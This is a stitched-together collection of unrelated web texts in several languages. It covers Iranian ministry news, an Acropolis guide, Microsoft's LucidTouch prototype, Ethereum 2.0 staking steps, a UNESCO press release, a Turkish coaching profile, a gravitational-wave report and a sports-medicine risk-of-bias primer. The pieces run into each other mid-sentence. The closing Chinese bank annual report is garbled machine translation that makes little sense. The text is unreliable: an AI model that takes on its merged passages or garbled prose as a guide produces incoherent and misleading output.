به گزارش اقتصادآنلاین به نقل از خانه ملت، عباس آخوندی ، با اشاره به حضور در نشست امروز کمیسیون صنایع و معادن مجلس، گفت: در نشست امروز موضوع حمایت سازمان بنادر و دریانوردی از حوزه کشتیرانی مورد بحث و بررسی قرار گرفت، خوشبختانه اقدامات خوبی در این بخش از جمله تعمیر کشتی های قدیمی و فرسوده به کشتی های نو صورت گرفته است.
وزیر راه و شهرسازی ادامه داد: در این نشست همچنین توضیحات خوبی درباره میزان و نحوه خرید کشتی ارائه شد.
وی با اشاره به ارائه گزارش درباره وضعیت توسعه بنادر کشور، گفت: در نشست امروز همچنین موضوع توسعه بنادر به ویژه بندر چابهار مورد بحث قرار گرفت و ما اعلام کردیم که هیچ بندری به هیچ کشوری واگذار نشده است卫城入口介绍：卫城所在的山丘向北、东、南三个方向都很陡峭，所以入口只设在山丘西侧，入口山门和登爬山丘的阶梯都是罗马时代的建筑。
山门（Propylaia）极端宏伟，中央部分是一个大门式样的建筑，这个建筑由所谓的多利安风格的大理石石柱组成，共为五间，越往中间，则越高、越宽，最中间的一间最宽阔，这种建筑的设计风格此后被很多其他的建筑所模仿。
在沿着石梯进城的中途有一处阳台，左侧可以展望山丘下朝南延伸的古安哥拉遗址(Ancient Agora)，沿着阳台通向地下层的阶梯，可以一路下到古卫城底边的古井。Multi-touch Display Uses All 10 Fingers
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Multi-touch screen technologies are the latest thing for high-tech gadgets, from Apple's iPhone to Microsoft's Surface tabletop computer.
But to date, there has been a limit to how useful a multi-touch interface could be. It's not practical in most circumstances, for instance, to put all ten fingers on a touch screen at once. For one thing, since the screen is there to display information, putting all of your fingers on the screen blocks the view of the information.
Now, a joint project between Microsoft Research (MSR) and Mitsubishi Electric Research Labs (MERL) has resulted in a novel solution touch screens on both the front and back of a mobile device that are used simultaneously. The user's thumbs touch the front screen while the other eight fingers touch the back on what's been termed the LucidTouch "see through" mobile device interface.
To be precise, the device's screen is not actually transparent. Instead, a camera on a short boom attached to the prototype's back captures images of the user's hands touching the rear screen, and an image of the fingers -- to enable the user to "see" where his or her fingers are touching -- is displayed on the front screen as if the device were transparent.
See your fingers do the walking.
With the thumbs on the front screen and fingers touching the back, for example, users are able to type more easily with the slightly reoriented QWERTY keyboard layout than on other touch screen interfaces.
The fact that users can have multiple fingers on the screen at once, without blocking (or "occluding") the view also enables easier use of maps, for instance.
However, actually making the device transparent front to back was too problematic, according to MSR research scientist Patrick Baudisch. That's why the researchers adopted the term "pseudo-transparent": The transparency is actually an intentional optical illusion.
"It's hard to get the illumination right [if it were actually transparent and] we can stick with a regular design with the electronics in the middle of the device [instead of having to position the chips and motherboard around the edges]," Baudisch told internetnews.com.
But not showing the fingers was confusing to users, so the researchers figured out a way using a camera at this point but later probably surface-based sensors to show the finger locations, as if the device's screen were actually transparent.
The current prototype uses a form factor that is similar in size to Microsoft's "ultra-mobile PC" or UMPC design. However, the researchers continue to experiment and are looking at other form factors, such as PDAs and tablet PC devices.
Additionally, Baudisch is quick to point out that the project is a true collaborative effort with Mitsubishi researchers, including MERL's Daniel Wigdor.
"Daniel did a
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两年左右）才能转移质押的ETH至其他分片。
PuCmaLe9G8DVUQR3MIsTu1M1EfgPToXlCesLxkNm.png
2、选择客户端。为了处理来自eth1链的验证者存款，需要eth2客户端上并行运行一个eth1客户端。因此，需要选择Eth 1和Eth 2客户端并运行节点。
3、生成私钥。
a、选择想运行几个验证者
b、使用deposit-cli（deposit CLI请看这里https://github.com/ethereum/eth2.0-deposit-cli/）生成私钥
c、上一步会产生助记词和每个验证者的keystore文件，你需要把它们存在安全的地方，最好离线保存。验证者keystore在新创建的validator_keys目录中。生成的文件还有一个是deposit_data.json。这个文件包含了与验证者相关的公钥，你需要在下一步上传这个文件。
4、上传验证者文件：上传上一部生成的deposit_data.json文件；
5、连接钱包，确认交易。
据Etherscan数据显示，截至发稿，不到12个小时以太坊 2.0 存款合约地址已经收到14597枚ETH。不过，投资者在持续存入32个ETH以成为验证者。به گزارش روابط عمومی شهرداری دزفول، در آیین تفاهم نامه همکاری با مرکز آموزش علمی کاربردی دزفول در راستای تحقق شعار انقلاب گردشگری سال ۱۴۰۰ که صبح امروز شنبه در سالن همایش های سازمان عمران شهرداری دزفول برگزار شد، محمد علی دوائی فر با اشاره به اهمیت معرفی جاذبه های گردشگری این شهرستان، اذعان داشت: شناخت و معرفی این ظرفیت های خدادادی موجب ایجاد اشتغال و درآمد پایدار و به تبع آن رفع مشکل اشتغال جوانان در این شهرستان می شود.
🔸وی افزود: دزفول ظرفیت های گردشگری فراوانی دارد که متاسفانه برخی از آن ها به دلایلی مغفول مانده و به خوبی معرفی نشده اند؛ می باید این ظرفیت ها علاوه بر مردم کشور به جهانیان نیز معرفی گردد.
🔸 وی با اشاره به نگرانی برخی از مسوولان و شهروندان مبنی بر اینکه ممکن است ورود برخی از گردشگران از دیگر شهرها باعث بروز مشکلات فرهنگی و ناهنجاری های اخلاقی شود، خاطرنشان کرد: می توان با برنامه ریزی و فرهنگ سازی از بروز اینگونه مشکلات جلوگیری و حتی بستری فراهم کرد تا نه تنها هویت و فرهنگ دینی غنی و ارزشی مردم شهرمان حفظ شود بلکه در دیگر نقاط نیز تسری یابد.
شهردار دزفول در ادامه با اشاره به امضای تفاهم نامه با مراکز علمی و دانشگاهی افزود: به طور قطع این همکاری ها می تواند موجب توسعه صنعت گردشگری و زمینه پیوست فرهنگی به آن را بیش از پیش فراهم آورد.
دوائی فر در پایان ضمن دعوت از تمامی مراکز علمی و فرهنگی شهرستان دزفول برای تهیه پیوست های علمی فرهنگی گفتمان انقلاب گردشگری دزفول گفت: با امضای این تفاهم نامه ها و آغاز همکاری های مشترک در این زمینه و همچنین همدلی و هم افزایی می توان به اهداف در نظر گرفته شده که همان توسعه، درآمد و اشتغال پایدار در این شهرستان است، بسیار امیدوار بود.
لازم به ذکر است، پیشتر نیز تفاهم نامه همکاری با شهرداری های شهرهای صفی آباد، چغامیش، شمس آباد، شهر امام و جندی شاپور در این زمینه امضا شده است.
به گفته شهردار دزفول در این راستا با ۱۲ شهر و ۴ بخش این شهرستان، تفاهم نامه همکاری امضا می شود.田岷田歌是双胞胎吗 有着三岁年龄差的姐妹花
演艺圈中姐妹打天下的例子不少，而很多人其实不知道著名演员田岷也有位很出色的姐姐田歌，在不少的大型活动中田歌和田岷都曾携手出席，模样极为相似的两人还一直被认为是双胞胎，那么田岷田歌是双胞胎吗？年龄差几岁呢？下面就让我们走进田歌和田岷的生活吧。
在演艺圈中田歌和田岷一直是互相扶持的好姐妹，由于长得很像，不少人一开始都误以为她们是双胞胎，但其实他们两位是有着三岁年龄差的姐妹花。由于父亲去世得早，田歌和田岷从小就很独立，田歌当年15岁就出演了电影《乳燕飞》，从那之后她就成为了妹妹田岷的偶像。这些年来，最让田歌骄傲的是，即使自己功成名就了，但作为妹妹头的田岷从来没有要求自己说要走后门，她完全靠的是自己的努力。
田歌和田岷出生在一个艺术气息浓厚的家庭中，所以这对姐妹从小就对表演以及艺术方面的东西很有兴趣。这些年两姐妹合作的机会其实并不多，但只有她们能聚到一起，那绝对热闹，还经常互相爆料对方，要强的两人很少对在对方面前互相夸奖。田歌现在是集导演、主持、制片人于一身的全能型电视人，而妹妹田岷则是一位优秀的电视剧演员，主演的《咱们结婚吧》、《离婚前规则》等剧都受到了观众的喜爱。10/30/2020 | Press release | Distributed by Public on 10/30/2020 04:26
UNESCO, UNICEF, the World Health Organization (WHO) and the World Food Program (WFP) have called on global leaders to act now and invest in school health and nutrition, to address the current learning catastrophe and leave no one behind.
The COVID-19 pandemic has created the largest disruption of education systems in history, affecting nearly 1.6 billion school-age children in more than 190 countries. While many children will continue their education, current estimates indicate that 24 million children will never return to the classroom and among those, a disproportionate number of girls.
The findings were revealed in a joint position paper by UNESCO, UNICEF, WHO and WFP on the importance of investing in the wellbeing of children to safeguard education from the devastating impact of COVID-19. UNESCO Assistant Director-General for Education, Stefania Giannini, warned 'the COVID-19 pandemic could undermine decades of progress, exacerbate entrenched inequalities and turn into a generational catastrophe'.
To avert this crisis, we need to reimagine how we deliver good quality and inclusive education to the world's children. This starts by expanding the concept of education to include the wellbeing of children, which in turn calls for urgent and substantial investments in school health and nutrition services; the position paper highlights.
Heads of State and Government, high-level political leaders, policy makers, development partners and global education actors recently committed to reinforce global cooperation and investment in education, as outlined through the 2020 GEM Declaration. They committed to safely reopen schools, and strengthen and restore access to services such as school meals, health, WASH and social protection.
Further, to avert the risk of losing millions of children in the classroom and build back a better and inclusive education system, the #SaveOurFuture campaign White Paper also highlights the need to restore school health and nutrition programmes.
Through the joint position paper released today, UNESCO, UNICEF, WFP and WHO, urge governments and the international community to uphold these commitments and to consider school health and nutrition services as a critical part of national response and recovery plans and global recovery agendas. Leaders are asked to advance an equitable, inclusive and progressive approach to education that includes comprehensive, integrated school health and nutrition programmes, so as to ensure that all children and young people have the required conditions to learn and thrive.1.周公梦见死人是什么兆头啊周公解梦
可能是过于思念亲人日有所思夜有所梦这个说法已经被证明是有道理的如果你很长时间不回家，没有见到自己的亲人，或者你白天的时候和亲人打过电话，视过频，那么你可能在晚上睡觉的时候梦到他，这是因为你在思念他可能自己很担心这位亲人。
2.周公梦见死人是什么兆头啊解梦
比如你听说他最近的身体不太好，一直有点感冒发烧，所以你非常担心他，晚上是很有可能梦到他因为身体不好而去世的还有可能是你在梦里把另一个人伪装成了这位亲人举个例子，如果这位亲人的性格比较急躁，容易发怒，而你今天正好和这样的一个同事吵了一架，你非
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più resistenti del Kevlar, il materiale utilizzato nei giubbotti antiproiettile), questo materiale ha anche molte potenziali applicazioni biomediche. Poiché è quasi identico alle proteine che si trovano nel tessuto muscolare, è presumibilmente biocompatibile e potrebbe quindi essere un ottimo materiale per suture, ingegneria dei tessuti e quant’altro.بهمن: وزیر خارجه فرانسه از دیدار با وزیر امور خارجه ایران در هفته جاری اطلاع داد.
به گزارش بهمن به نقل از «الجزیره»، ژان ایو لودریان با طرح این ادعا که «زمان ضد هرگونه توافق احتمالی با تهران می گذرد و با گذشت زمان، ایران به فعالیتهای هسته ای خود سرعت می دهد»، اظهار نمود: این هفته در نیویورک با وزیر خارجه ایران دیدار خواهم کرد.
وی اضافه کرد: حضور ایران در اجلاس بغداد نشانه مثبتی است و ما در این هفته جلسه ای در مورد توافق هسته ای ایران برگزار می نماییم.Kısa Versiyon: Janet Webber Kanadalı bir ilişki koçu olan, insan davranışları, iç inançları ve kendini sevmenin gücü hakkında değerli bilgiler vererek müşterilerini ilişki başarısına hazırlar. Kişiselleştirilmiş koçluk kursları, bekarlara ve çiftlere kendilerini geliştirmeleri ve hayatlarının geri kalanında mutlu, sağlıklı ilişkiler geliştirmeleri için ihtiyaç duydukları araçları sağlıyor. Janet, herkesin sevgiyi hissetmeyi ve sevilmeyi hak ettiğine inandığından, insanların içsel engellerini aşmalarına ve mutluluk durumuna ulaşmalarına yardımcı olmayı hayatının işi haline getirdi.Paylaş
O büyürken Janet Webber istikrarlı bir ev hayatı yoktu. Babası öfkeli ve şiddetli bir insandı ve annesi sessizce onun taleplerini kabul etti. Uzun bir süre, Janet bir ilişkinin böyle olduğunu düşündü. Başka hiçbir şey bilmiyordu, bu yüzden bir dizi taciz edici ilişkiye girdi.
Sonra, 13 yaşındayken Janet, kanserle uzun bir savaşın ardından babasını kaybetti. Ölümüyle başa çıkmak, erken ergenliğinin çoğunu tanımladı.
Janet 20'li yaşları boyunca aşırı yeme bozukluğuyla mücadele etti, bu da özgüvenini olumsuz yönde etkiledi ve onu koşulsuz olarak sevmeye istekli birini bulamayacağına inandırdı. Duygusal olarak mesafeli veya bağımlılıktan rahatsız olan romantik partnerlere çekildiğini hissetti.
İki başarısız evliliğe katlandıktan sonra, Janet bu olumsuz modele bir son vermeye karar verdi. İçten dışa kendini düzeltmek istedi. 'Yolculuğum, kendi acımdan kurtulma arzusuyla motive oldu' dedi. Janet 2006'da insan davranışları hakkında eğitici bir kurs aldı ve 2010'da sertifikalı bir ilişki koçu oldu.
'İnsanlara hizmet etmek ve bilmediğim şeyleri öğrenmek için derin bir arzum var, böylece başkalarının hatalarımdan kaçınmasına yardım edebilirim,' dedi. 'İlişki koçluğu kesinlikle yapacağımı düşündüğüm bir şey değil, ama hayatın beni yönlendirdiği yer burası.'
Janet için önemli bir dönüm noktası, saygın bir yazar ve ilişki uzmanı olan Katherine Woodward Thomas'ın yanında çalışırken geldi. Katherine’in aşk hakkındaki çevrimiçi kursu, Janet’e büyümesi için çok zor olan cevapları verdi. Sonunda neyi yanlış yaptığını ve bunu nasıl düzelteceğini anladı.
O andan itibaren, kendini bu yaşamı değiştiren felsefeler hakkındaki sözleri yaymaya ve insanlara tatmin edici ilişkileri sürdürmek için ihtiyaç duydukları araçları vermeye adadı. Bugün Janet, bir yaşam ve ilişki koçu olarak ödüllendirici bir kariyere sahip ve kendi aşk hayatını da yoluna koydu. 'Gerçekten sevilmenin nasıl bir his olduğunu anladım,' dedi bize. Ve bu çok güzel bir şey.
Bilinçli Ayrılma: Hayatınızı Yeniden Keşfetmek İçin Güçlü Bir Program
Bekarlar Janet'e birçok farklı nedenden dolayı gelir. Bazıları çıkmaya ilgi duydukları ve ilişkiler konusunda çok az deneyimleri olan kimseyle hiç tanışmamış. Diğerlerinin bir dizi kısa vadeli ilişkileri vardı, ancak kimseye uzun vadeli taahhüt vermediler. Ve yine de diğerleri son zamanlarda kötü bir evlilikten çıktı ve oraya nasıl geri döneceklerini merak ediyorlar.
'Müşterilerim bir ilişki kurmak istiyor, ancak çoğu zaman ne yapacakları veya nereden başlayacakları hakkında hiçbir fikirleri yok' dedi. 'Yol haritası olmadan kaç kişinin aşkı aradığına şaşıracaksınız.'
Kişisel ve profesyonel deneyimlerinden yola çıkan Janet, Katherine Woodward Thomas'tan öğrendiği dönüştürücü dersleri Bilinçsiz Ayrılma koçluk programı . Beş aşamalı süreç, müşterilerin gelecekteki zevklerini bulabilmesi için geçmiş travmaların üstesinden gelmeye odaklanır.
Negatif flört modellerinden kurtulmak ve kalbinizi iyileştirmek istiyorsanız, Janet'ın empatik koçluğu size sonsuza dek mutlu olmanın yolunu gösterebilir.
'Dışarıda gerçekten destek var,' dedi bize. Gerçekten umut var. Amacım, insanların ilişkilerinde başarılı olmayı öğrenmelerine yardımcı olmak. '
'Bir' i Aramak Sevmek için 7 Adımlı Bir Süreci Teşvik Ediyor
Hayatınızın aşkını çekmeye hazırsanız, 'The One' Aranıyor sizin için kurs. Bu yedi adımlı koçluk programı, güçlü ilişkiler kurmanın yedi temel ilkesini öğretir. Müşteriler, Janet ile haftalık olarak telefonla, yüz yüze veya Skype ile buluşur ve aşk becerilerini geliştirmek için eve götürme egzersizlerini tamamlar.
En iyi yaşamınız için ne yapmak istediğinizi bildiğinizden bu dersler, insanların aşka bakış açısını değiştirir ve hak ettikleri ilişkileri geliştirmelerine yardımcı olur.
'Aslında oldukça büyülü bir süreç,' dedi. 'İnsanlar kendileri hakkındaki inançlarını en derin düzeyde değiştirdiklerinde, onlar için her şey değişir.'
Düzinelerce referans bu koçluk programının başarısından bahsedin. Ontario'dan bir müşteri olan Marie, Janet’in zor sorularının ve doğru yorumlarının onu bir kişi olarak büyümeye motive ettiğini söyledi. 'Onunla konuşmak kendi gücümü ve gerçeğimi görmeme yardımcı oluyor ve bundan daha büyük bir hediye yok,' dedi.
Yetenekli bir koç ve harika bir insan. Onu şiddetle tavsiye ederim!' - Kristin C., Kaliforniyalı bir müşteri
'Zordu ama buna değer,' M.S. Calling In “The One” kursundan bahsetti. 'Süreç boyunca, Janet olağanüstü bir koç oldu.'
Janet tutkuyla, Bunu yapmayı ne kadar sevdiğimi söyleyemem, dedi. 'İnsanların hayatlarında ne kadar büyük bir fark yarattığını ve hayatlarının değiştiğini görüyorum. Müşterilerimin çoğu ilişkiye giriyor ve bunu sonuna kadar devam ettirebiliyor, bu yüzden bu çok tatmin edici. '
Mücadele Eden Bireyleri ve Çiftleri Desteklemek İçin Hizmetlerini Genişletiyor
Janet bize, bir birey ve bir öğretmen olarak öğrenmeyi ve büyümeyi asla bırakmadığını söyledi. Her zaman müşterilerinin aşk hayatlarını iyileştirebilecek yeni dersler ve araçlar arıyor. Şu anda, ilişki koçu yeme bozukluklarını ele almak ve insanların sağlıklı bir vücut imajını korumalarına yardımcı olmak için koçluk hizmetlerini genişletmeye başladı.
Geçtiğimiz birkaç ay içinde Janet, danışanlarının bedenlerinde ve zihinlerinde daha sağlıklı olmalarını sağlayan bir dizi yöntem geliştirdi. Bir müşterinin onunla çalışırken 100 kilo verdiğini söyledi.
'Janet harika bir koç - sevgi dolu, destekleyici, sezgisel, zeki, bilgili, yaratıcı, cömert ve eğlenceli.' - Louise M., Montana'da bir müşteri
Janet'in kendi kişisel deneyimleri, müşterilerinin iç çatışmalarıyla ilişki kurmasına yardımcı oluyor ve rehberliğe ihtiyacı olan müşterilere şefkatli destek sunuyor. Bize düzinelerce kadın ve erkeğin kilo vermesine ve kendileri hakkında daha iyi hissetmesine yardımcı olduğunu ve bunun sonucunda aşk hayatlarının sıklıkla geliştiğini söyledi.
'Yeme bozukluğun varsa ve zayıf olmadığın için aşkı bulamayacağını düşünüyorsan, bu zorlu bir yoldur,' dedi. Bu yüzden önce bunu halletmeliyiz. Yeme bozukluğu bir kez halledildiğinde, insanları kazanmaya teşvik ediyor. '
Janet Webber Müşterilerine Pure Joy'a Giden Bir Yol Haritası Veriyor
Janet'in aşk büyümesi için harika bir rol modeli olmamasına rağmen, kendini kabul etmeyi ve hayatında bilinçli olarak aşkı geliştirmeyi öğrenerek sağlıklı ilişkilerin zevklerini keşfedebildi. Yıllar önce, ilişki koçu eğitimli profesyonellerden çalışa
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技术标准确定对损坏的小齿轮全是实践替换，关于四周速度超过8米/秒和斜齿轮磨耗的均应成对替换。关于大模板，大型齿轮应修换协同，大模板齿轮的局部断齿，可用气焊执行堆焊，而后经回火再加工准确的齿形。大型齿轮磨耗后，采取变位法修理效能很好。既在修复时选取高变位，将大齿轮外圆车去一层，再重新加工新的齿形。
上一篇：没有上一篇了下一篇：丽江TPO400平面二次包络减速机生产公司_细致入微相关内容推荐下汤圆了！科学家第三次探测到中子星碰撞产生的引力波
北京时间5月10日，引力波天文台LIGO/Virgo第三次探测到双中子星碰撞引力波事件（代号：S190510g),可能性98%。有关这次碰撞发生的具体参数，目前官方还没有详细披露。全世界天文学家正在忙着搜寻电磁对应体。
自从2015年9月14日。人类第一次探测到双黑洞碰撞产生的引力波以来，已经探测到十几次黑洞碰撞事件和二次中子星碰撞事件，第一次中子星并合事件发生在2017年8月17日，距离地球1.3亿光年（代号：GW170817）。第二次中子星碰撞事件发生在4月25日，距离地球大约5亿光年的地方。
首次中子星碰撞事件不但探测到了引力波，而且还找到了其电磁对应体，同时也找到了天文界设想已久的千新星（kilonova）。那次事件给普通人印象深刻的是：碰撞产生了16000倍地球质量的重元素，以及10个地球质量的铂金和黄金。
LIGO引力波探测器4月初重启，开始了第三阶段的运行，灵敏度有了很大提高，探测距离大大延伸，因此能够以几乎每周一次的频率探测到引力波事件。
4月26日，科学家可能还探测到一次黑洞潮汐瓦解中子星的事件，但还不十分确定，有待进一步的数据分析。
中子星碰撞比黑洞碰撞有更丰富的细节，因此科学家非常希望探测到中子星的碰撞。
中子星是大质量恒星演化到末期，核心发生引力坍缩而成，并伴随超新星爆发。中子星的密度非常大，每立方厘米的体积的物质就能达到1亿吨。如果把地球压缩成中子星的密度，恐怕只有鸟巢体育馆大小。Statistics from Altmetric.com
Systematic reviews are a valuable tool to inform healthcare decision-making.1 2 While a single randomised controlled trial (RCT) is insufficient to definitively guide healthcare decisions, a systematic review synthesising multiple RCTs can overcome this limitation. The results of rigorous systematic reviews possess wide-ranging applicability to numerous stakeholders within the evidence-based medicine ‘ecosystem’. Clinicians consult systematic reviews to inform their clinical decisions.3 Researchers rely on systematic reviews to identify knowledge gaps in existing literature.4 Health policymakers use systematic review evidence to inform practice guidelines and legislation.5 6 Journal editors often prioritise systematic reviews for their impact on readership attention and journal metrics.7 Finally, patients are empowered by systematic reviews that assess the beneficial and harmful patient-important outcomes of available management strategies.8 Evidently, systematic review authors have an important responsibility to ensure their findings provide the most accurate results possible.
The biomedical literature expands by 22 systematic reviews daily,9 with no evidence that production is waning. More systematic reviews are desirable if they identify and inform important research questions that improve patient care.10 However, production of this magnitude is problematic when systematic reviews offer ‘extensive redundancy, little value, misleading claims and/or vested interests’.11 As we outlined in part 1, bias is a systematic deviation from the truth in the results of a research study due to limitations in study design, conduct, or analysis.2 Deviations may either overestimate or underestimate a study’s true findings depending of the type and magnitude of bias. As the results of a systematic review are only as valid as the studies it includes, pooling biased results from different studies can compromise the credibility of systematic review findings when no assessment, or a poor assessment, of risk of bias is performed.3 12
Inadequate study design, conduct, or analysis devalues the credibility of biomedical research and the competence of clinicians to care for patients.13 Comprehensively assessing risk of bias instead of study quality—using a domain-based risk of bias assessment instead of a quality scale or checklist—is the best method to avoid overlooking biased evidence that propagates misleading systematic review findings. This two-part education primer focuses on critical assessments as a source of misleading systematic review conclusions. In part 1, we introduced risk of bias as the perceived risk that the results of a research study may deviate from the truth. In part 2, we:
Evaluate the prevalence and methods of critical assessments in systematic reviews published in BJSM.
Perform a risk of bias assessment on a sample of RCTs in a systematic review, to compare risk of bias assessment findings with study quality assessment findings.
Illustrate the impact that different critical assessment tools have on risk of bias assessment findings, and ultimately, systematic review findings.
Provide recommendations to systematic review authors who are planning a risk of bias assessment.
Empirical evidence from sport and exercise medicine
Sport and exercise medicine (SEM) research is vulnerable to bias across many empirical study designs.14 15 The characteristics of risk of bias assessments in SEM systematic reviews are unknown. Evaluating how risk of bias assessments are conducted is necessary to determine whether risk of bias is adequately assessed across SEM research. We performed a cross-sectional study to identify the methods used to critically appraise the credibility of original study findings in systematic reviews published in BJSM.
We searched the BJSM journal archive (http://bjsm.bmj.com/content/by/year) on 11 May 2017 to identify systematic reviews published since 1 January 2016. Systematic reviews performing a descriptive synthesis or meta-analysis, and published in BJSM between 1 January 2016 and 10 May 2017, were eligible for inclusion.
Two authors (FCB and ED) independently screened titles and abstracts to identify systematic reviews. Review article types that did not systematically identify and select eligible studies, and synthesise relevant study content (eg, narrative/critical reviews, PEDro syntheses, consensus statements and practice guidelines) were excluded. A third author (CLA or MW) arbitrated disagreements. Descriptive characteristics of each systematic review were independently abstracted by two authors (FCB and ED) using a predefined data extraction template (table 1).
One author (FCB) performed pilot data extraction on a subsample of systematic reviews prior to full data extraction. Two authors (FCB and ED) independently extracted data from each included systematic review. A third author (CLA or MW) arbitrated disagreements. Data are presented as absolute frequencies (n) and as a proportion (%) of the sample of systematic reviews.
We included 66 systematic reviews.
Sixty-five (99%) systematic reviews reported a critical assessment of included studies. Table 2 lists the characteristics of critical assessment tools used. Critical assessment tools used in systematic reviews are included in online supplementary table 2.
Forty-two (65%) systematic reviews used a standard tool, 14 (21%) used an adapted tool and 9 (14%) used a custom tool.
Eighteen (28%) systematic reviews used a checklist to critically assess included studies, 38 (58%) used a scale and 9 (14%) used a domain-based assessment tool.
Fifty (77%) systematic reviews used a ranking system that ranked studies based on critical assessment findings. Nineteen (38% of 50) systematic reviews ranked studies based on a summary score of methodological study quality. Thirty-one (62% of 50) ranked studies using a threshold summary score to classify studies in categories of ‘high’, ‘moderate’ or ‘low’ quality.
Of 65 systematic reviews that performed a critical assessment of included studies, 11 (17%) performed a risk of bias assessment for separate outcomes. Three (5%) performed a domain-based risk of bias assessment for separate outcomes; 10 (15%) performed domain-level risk of bias assessments but not for separate outcomes. Forty-seven (72%) systematic reviews presented risk of bias assessment findings for each tool item but not for individual risk of bias domains or for separate outcomes.
Two systematic reviews (3%) performed a meta-regression to examine the quantitative influence of risk of bias or study quality of each included study on individual study effect size. Ten (15%) performed a sensitivity analysis to compare the effect estimates of studies at ‘high’ and ‘unclear’ risk of bias to all included studies. One systematic review (2%) excluded studies at ‘high’ and ‘unclear’ risk of bias from the synthesis to restrict their evidence synthesis to studies at low risk of bias. Forty-three (66%) narratively discussed risk of bias assessment findings in the context of systematic review findings, and nine systematic reviews (14%) did not incorporate risk of bias assessment findings into review findings.
Critical re-assessment using a risk of bias assessment instead of an assessment of study quality
The features of risk of bias assessments including the terminology, the assessment tool and method, and the incorporation method used, influence risk of bias assessment findings. In this section, we present a worked example where we re-assess the risk of bias of RCT outcomes in one BJSM systematic review.16 By assessing the risk of bias of RCT outcomes, we illustrate the impact that different critical assessment tools can have on risk of bias assessment findings, and ultimately, systematic review findings.
Methods of risk of bias assessment
We used prespecified inclusion criteria to identify a systematic review (from our original group of 65) that included intervention studies and intended to assess risk of bias but evaluated features other than risk of bias (eligibility criteria—online supplementary file 1). Our eligibility criteria identified a systematic review16 that investigated the efficacy of therapeutic interventions to improve patient-reported function in participants with chronic ankle instability (CAI). This systematic review included 17 original research studies: 11 RCTs, 1 cohort study, 2 case-control studies, and 3 case-series. For the purpose of this education review, we re-assessed only the 11 RCTs included in this systematic review.16 An author of the current study (ED) contacted a member of the systematic review team to articulate the current study’s aims and to obtain the review authors’ permission to perform a risk of bias assessment of RCTs included in their systematic review. The lead and supervising authors of this systematic review16 will provide a commentary in response to the current study’s findings in the context of their systematic review findings.
We assessed the risk of bias in outcomes of patient-reported function (ie, activities of daily living (ADL) and sports subscales) in 11 RCTs16 using the Cochrane Risk of Bias tool 2 (RoB2). RoB2 is the revised, second edition of the Cochrane Risk of Bias tool for RCTs.17 18 RoB2 is an outcome-focused, domain-based tool that assesses the risk of bias in outcomes in individually-randomised, parallel-group trials, randomised cross-over trials, and cluster-RCTs.18
RoB2 features five risk of bias domains for individually randomised, parallel-group trials:
Bias arising from the randomisation process.
Bias due to deviations from intended interventions.
Bias due to missing outcome data.
Bias in measurement of the outcome.
Bias in selection of the reported results.
Responses to RoB2 signalling questions about specific study limitations are mapped using a decision algorithm to determine each risk of bias domain judgement.18 Finally, an overall risk of bias judgement is made for each assessed outcome, in each trial, based on the domain-level assessment. An outcome is judged as ‘low risk’ when all domains are judged to be at ‘low’ risk of bias. An outcome is determined to have ‘some concerns’ of bias when one or more domains are judged to be at ‘some concerns’ of bias. An outcome is judged as ‘high risk’ of bias when at least one domain is judged to be at ‘high’ risk of bias, or when multiple domains have ‘some concerns’. Multiple domains at ‘some concerns’ of bias increase the likelihood that treatment effect (ie, a high overall risk of bias) may be distorted. Strong meta-epidemiological evidence supports the content of risk of bias domains included in RoB2.19
Two independent assessors (FB and ED) re-assessed the risk of bias of the 11 RCTs using the revised version of RoB2 from 9 October 2018 (http://www.riskofbias.info).18 Assessors resolved initial disagreement via discussion. A third, independent assessor (MW and RE) arbitrated any persisting disagreements. Assessor were not blind to the findings of the Downs and Black quality assessment performed by Kosik et al. 16
Methods of study quality assessment
Results of study quality assessment and risk of bias assessments
Kosik et al 16 performed an intended risk of bias assessment using the Downs and Black checklist. The Downs and Black checklist is a quality assessment scale developed to evaluate the methodological quality of randomised and non-randomised trials.20 The checklist comprises 27 items across 4 subscales including: completeness of reporting (9 items); internal validity (13 items); precision (1 item) and external validity (3 items). The Downs and Black checklist assigns numeric values to item responses (‘yes’=1; ‘no’=0; ‘unable to determine’=0). Each item score is summed; higher scale summary scores indicate superior study quality. The Downs and Black checklist considers the methodological quality of each study irrespective of the number and type of different outcomes assessed in each study.
Risk of bias reassessment: bias arising from the randomisation process
Eight RCTs (73%) had outcomes at ‘some concerns’ of bias arising from the randomisation process. This was due to improper or unclear methods of sequence generation, allocation concealment, or due to imbalances in group baseline demographic characteristics. Outcomes in 2 RCTs (18%) had ‘high’ risk of bias arising from the randomisation process. One RCT (9%) had an outcome at ‘low’ risk of bias.
Risk of bias reassessment: bias due to deviations from intended interventions
Seven RCTs (64%) had outcomes at ‘high’ risk of bias due to deviations from intended interventions with specific interest in lack of adherence to the intervention. Two RCTs (18%) had ‘some concerns’ of bias and two trials (18%) had ‘low’ risk of bias.
Risk of bias reassessment: bias due to missing outcome data
Two RCTs (18%) had outcomes at ‘high’ risk of bias due to missing outcome data. Nine RCTs (82%) had outcomes that were at ‘low’ risk of bias due to little, or no, missing outcome data.
Risk of bias reassessment: bias in measurement of the outcome
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机关
券商收益共同承担降落的使发作。
净销路收益影响的范围香港元，次要是前进CU外汇事情的稳步增长。，令外汇净经营收益响起。净销路收益也包裹
T事情替换发作的1亿港元进项。
存款本钱的当心设法对付，尝试筹集生产率，同时投资额人才和惯例，趾高气扬的步态物事情增长拓展大陆的电网。
2016年度事务花费增长10%，人事花费增长7%。营业收益的增长高于办理性花费的增添，本钱进项比率
它早已被改良了270个基点。。
往年的净信誉减值预备为4港元。,000万元，上年，信誉使贬值的净花费是2小时。,300万元。经回喊
短暂拜访一体下的客户的钱，香港猛然震荡6助手使贬值预备,900万元。
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22 创兴存款股份对大众不完整吐艳的公司 2016岁入
以2015为例，几多总数对玉蜀黍发育不良的穗事情非次要的资产早已售。依据，往年销路非玉蜀黍发育不良的穗资产（包罗属性）
净到达（不包罗售证券减值费用）为100港元。不过，这类净进项比2015年度录得的多。
香港元的总到达率较低，香港元辨别5,600万元。
股权专卖的该当补偿到达。为港币亿元，同比增长19%，使合群资产收益率每年计算一次。，每股走快
港币元。离开非玉蜀黍发育不良的穗资产的净到达（纳税后）和净到达，股权专卖的该当补偿到达。则为
港币亿元，同比增长16%。
信誉量增添11%或港币100元至707亿港元。。拦腰，经商相干信誉增添19%或港币110亿元。
港币693亿元，有期信誉、银团信誉和外汇信誉的增长尤为升半音。。不过，因人民币对猛然震荡使贬值和海内钱币使贬值
调，减缩交易养护上的再贴现票据，本存款经商票据使保持均衡有线广播减缩83%至港币亿元。依托考虑周到的的的信誉风
